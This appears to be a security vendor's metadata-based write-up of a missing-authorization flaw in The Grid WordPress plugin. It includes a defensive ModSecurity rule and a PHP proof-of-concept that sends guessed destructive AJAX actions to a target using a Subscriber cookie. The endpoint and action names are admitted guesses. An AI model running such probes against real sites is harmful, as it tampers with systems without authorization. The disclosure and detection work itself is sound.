Atomic Edge analysis of CVE-2026-24369 (metadata-based):
The Grid WordPress plugin versions prior to 2.8.0 contain a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions. The vulnerability stems from a missing capability check on a specific plugin function.
Atomic Edge research identifies the root cause as CWE-862, Missing Authorization. The vulnerability description confirms the absence of a capability check on a function. Without access to source code diffs, we infer this likely involves a WordPress AJAX handler or admin endpoint that fails to verify the user’s capability before executing privileged operations. The plugin does not validate if the authenticated user possesses the required permissions to invoke the function.
Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker would send a crafted request to the vulnerable endpoint. Based on WordPress plugin patterns, this endpoint is likely `/wp-admin/admin-ajax.php` with an `action` parameter containing a plugin-specific hook like `the_grid_*`. Alternatively, it could be a direct admin page or REST API endpoint. The payload would consist of a standard POST or GET request with parameters that trigger the unauthorized action.
The remediation in version 2.8.0 almost certainly added a capability check to the vulnerable function. The fix likely implements a call to `current_user_can()` with an appropriate capability like `manage_options` or a custom capability. The patch may also include nonce verification for additional CSRF protection, though the primary issue is the missing authorization check.
Successful exploitation allows attackers to perform an unauthorized action. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. This suggests the action could modify plugin settings, delete user-generated content, or trigger other state-changing operations not intended for low-privileged users. The vulnerability does not enable full site takeover or data exfiltration.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-24369 (metadata-based)
# This rule blocks exploitation attempts targeting The Grid plugin's missing authorization vulnerability.
# The rule targets AJAX requests to the_grid_* actions from low-privileged users.
# Rule ID uses CVE number format for uniqueness.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202624369,phase:2,deny,status:403,chain,msg:'CVE-2026-24369: The Grid Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-24369',tag:'WordPress',tag:'The-Grid-Plugin',tag:'Missing-Authorization'"
SecRule ARGS_POST:action "@rx ^the_grid_" "chain"
SecRule &ARGS_POST:nonce "@eq 0" "chain"
SecRule REQUEST_COOKIES:/wordpress_logged_in_/ "@rx ^.*$"
"setvar:'tx.cve_2026_24369_score=+1',chain"
SecRule TX:cve_2026_24369_score "@ge 1"
"t:none,setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24369 - The Grid < 2.8.0 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24369
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php (most common WordPress AJAX handler)
* 2. The AJAX action parameter contains 'the_grid' prefix (based on plugin slug)
* 3. The attack requires a valid WordPress authentication cookie
* 4. The exact action name and parameters are unknown without source code
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$cookie = 'wordpress_logged_in_abc=...'; // Valid auth cookie for Subscriber user
// Common AJAX action patterns for The Grid plugin
$possible_actions = [
'the_grid_save_settings',
'the_grid_delete_item',
'the_grid_import',
'the_grid_export',
'the_grid_reset',
'the_grid_clear_cache'
];
foreach ($possible_actions as $action) {
$ch = curl_init();
$post_data = [
'action' => $action,
// Generic parameters that might trigger unauthorized actions
'id' => '1',
'data' => 'test',
'nonce' => 'bypassed' // Nonce may be missing or bypassed
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => [
'Cookie: ' . $cookie,
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
],
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: {$response}nn";
curl_close($ch);
}
?>
